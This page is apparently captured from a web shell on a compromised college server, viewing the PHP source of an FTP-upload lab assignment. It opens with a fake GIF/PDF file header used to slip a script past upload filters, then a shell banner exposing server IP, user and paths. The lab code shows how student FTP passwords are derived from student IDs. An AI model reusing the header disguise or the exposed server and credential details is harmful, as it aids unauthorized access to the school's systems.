GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST2146/Labs/Lab02/ |
Upload File : |
<? // JimMartinson/CST2146/Labs/Lab02.phpinc $css .= ',colorCode.css'; //$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; $ftpLogin = substr($userFirstName,0,3); if ( $userLastName ) { $cleanLastName = str_replace("'",'',$userLastName); $ftpLogin .= substr($cleanLastName,0,3); } $UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3)); $PW = $f_sId; $ShowSpanCountBefore = false; if ($f_sId == '00007967') { $f_sId = '********'; } //$ShowSpanCountBefore = true; // <span class="count"> ?> <a id="Lab"></a> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to upload changes to the Scheduler site. <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> <span id="spn_lin_3" class="hidden info">Instructions for <b>Other editors</b></span> <!--<span id="spn_mac_3" class="hidden info">Instructions for <b>Mac</b> OS:</span>--> <span id="spn_win_3" class="info">Instructions for <b>Dreamweaver</b></span> <input id="inp_lin_3" type="button" onClick="return SwapWinMacLinux('lin',[3,4]);" value="Switch to other editors instructions"> <!--<input id="inp_mac_3" type="button" onClick="return SwapWinMacLinux('mac',[3,4]);" value="Switch to Mac instructions">--> <input id="inp_win_3" type="button" onClick="return SwapWinMacLinux('win',[3,4]);" value="Switch to Dreamweaver instructions" class="hidden"> <div id="div_win_3"> <ol id="" class="next count"> <li>Setup a <b>Scheduler</b> site in Dreamweaver. <br> Your FTP User is: <b class="copyText"><?=$UN?></b> and the Password is: <b class="copyText"><?=$PW?></b>. <note>Note: FTP only works from a Ridgewater IP address. If you are off-campus you need the Cisco AnyConnect VPN client.</note> <br> <note>Note: Don't forget to <b>Enable file check-out</b> on the server settings Advanced tab if you are using Dreamweaver.</note> </li> <li>Add your name, site editor, and OS the <b>StudentNames.phpinc</b> file. <ol> <li>Download the <b>StudentNames.phpinc</b> file.</li> <li>Check-out the <b>StudentNames.phpinc</b> file.</li> <li>Add your <b>name</b>, the <b>client software you are using</b>, and the <b>OS you are running</b> to the bottom of the file.</li> <li>Upload the modified <b>StudentNames.phpinc</b> file.</li> <li>Check-in the <b>StudentNames.phpinc</b> file.</li> </ol> <li class="note normal">At some point and before doing any other site work, <b>download the entire Scheduler site</b> so you have the current version.</li> <li>Notify me to grade the lab: <ol type="a"> <li>Click <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<? if ( $disabled ) { ?> disabled<? } ?>> for grading.</li><? if ( $disabled ) { ?> <span class="error bold">Notice: This lab cannot be submitted until this notice has been removed.</span><? } ?> </ol> </li> </ol> </div> <div id="div_lin_3" class="hidden"> <ol id="" class="next count"> <li>Setup a <b>Scheduler</b> site in your editor. <br>How this is done depends on the editor you are using. </li> <li>Setup an FTP client on your computer if you don't already have one. <br> Suggested clients are: <table> <tr><th class="right">Linux:</th> <td><a href="https://filezilla-project.org/">FileZilla</a> or <a href="http://www.crossftp.com/">CrossFTP</a></td></tr> <tr><th class="right">Mac:</th> <td><a href="https://filezilla-project.org/">FileZilla</a> or <a href="https://cyberduck.io/">CyberDuck</a></td></tr> <tr><th class="right">Windows:</th><td><a href="https://filezilla-project.org/">FileZilla</a> or <a href="https://winscp.net/eng/index.php">WinSCP</a></td></tr> </table> Your FTP User is: <b class="copyText"><?=$ftpLogin?></b> and the Password is: <b class="copyText"><?=$f_sId?></b>. <note>Note: FTP only works from a Ridgewater IP address. If you are off-campus you need the Cisco AnyConnect VPN client which you can get from <a href="https://cst.ridgewater.edu/vmware/" target="_blank">here</a>. It connects to <b>fozzie.ridgewater.edu</b>.</note> </li> <li>Add your name and site editor the <b>StudentNames.phpinc</b> file. <br><span class="note normal"> Since you are not using Dreamweaver and cannot Check-out the <b>StudentNames.phpinc</b> file, <b>do these steps as fast as you can!</b> <br>You have a chance to overwrite someone else's upload if you don't. </span> <ol> <li>Download the <b>StudentNames.phpinc</b> file.</li> <li>Add your <b>name</b>, the <b>client software you are using</b>, and the <b>OS you are running</b> to the bottom of the file.</li> <li>Upload the modified <b>StudentNames.phpinc</b> file.</li> </ol> <li class="note normal">At some point and before doing any other site work, <b>download the entire Scheduler site</b> so you have the current version.</li> <li>Notify me to grade the lab: <ol type="a"> <li>Click <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<? if ( $disabled ) { ?> disabled<? } ?>> for grading.</li><? if ( $disabled ) { ?> <span class="error bold">Notice: This lab cannot be submitted until this notice has been removed.</span><? } ?> </ol> </li> </ol> </div> <!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> --> </fieldset> <script> // SwapWinMacLinux(ShowOS,IdNumber) // Swap between Windows, Mac, and Linux instructions. Will show ol and hide spn and inp elements for the ShowOS. // ShowOS = the OS to show instructions for. // IdNumber = the IdNumber of the instruction. function SwapWinMacLinux(ShowOS,IdNumbers) { console.warn('SwapWinMacLinux[ShowOS='+ShowOS+',IdNumbers='+IdNumbers+']'); console.log('IdNumbers='+IdNumbers+' typeof IdNumbers='+(typeof IdNumbers)); if ( typeof IdNumbers == 'number' ) { IdNumbers = [IdNumbers] ; } // Convert single IdNumbers to array. var e; var Element; var ElementHides = ['inp']; // Hide these elements for ShowOS and show them for other OSes. var ElementId; var ElementShows = ['div','spn','ol']; // Show these elements for ShowOS and hide them for other OSes. var ElementType; var h; var i; var IdNumber; var OtherOS; var OtherOSes; switch ( ShowOS ) { case 'lin': OtherOSes = ['mac','win']; break; case 'mac': OtherOSes = ['lin','win']; break; case 'win': OtherOSes = ['lin','mac']; break; } console.log('OtherOSes='+OtherOSes); for ( i=0; i<IdNumbers.length; i++ ) { // Loop thru IdNumbers. IdNumber = IdNumbers[i]; // Hide ShowOS button. console.warn('Hide ShowOS button.'); for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Hide '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } else { // Does the ElementId element exist? console.log(ElementId+' not found to hide.'); } // Does the ElementId element exist? } // Show other OS buttons. console.warn('Show other OS buttons.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } else { console.log(ElementId+' not found to show.'); } // Does the ElementId element exist? } } // Loop thru OtherOSes. // Hide other OS span and instructions. console.warn('Hide other OS span and instructions.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; Element = document.getElementById(ElementId); console.log('Hide '+ElementId+'.'); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } else { console.log(ElementId+' not found to hide.'); } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru OtherOSes. // Show ShowOS span and instructions. console.warn('Show ShowOS span and instructions.'); for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } else { console.log(ElementId+' not found to show.'); } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru IdNumbers. return false; } // END SwapWinMacLinux. // DisplayStyle(element) function DisplayStyle(Type,Element) { //console.warn('DisplayStyle[Type='+Type+',Element='+Element.id+']'); var StyleDisplay = Element.style.display; //console.log('StyleDisplay='+StyleDisplay); if ( StyleDisplay === '' || StyleDisplay === 'none' ) { // Is the StyleDisplay empty? var StyleDisplays = { div:'block', inp:'inline', ol:'block', spn:'inline' }; switch ( Type ) { // Switch Type. case 'div': StyleDisplay = StyleDisplays[Type]; break; case 'inp': case 'ol': case 'spn': StyleDisplay = StyleDisplays[Type]; break; default: StyleDisplay = 'inline'; } // Switch Prefix. //console.log('StyleDisplay='+StyleDisplay); } return StyleDisplay; } </script> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>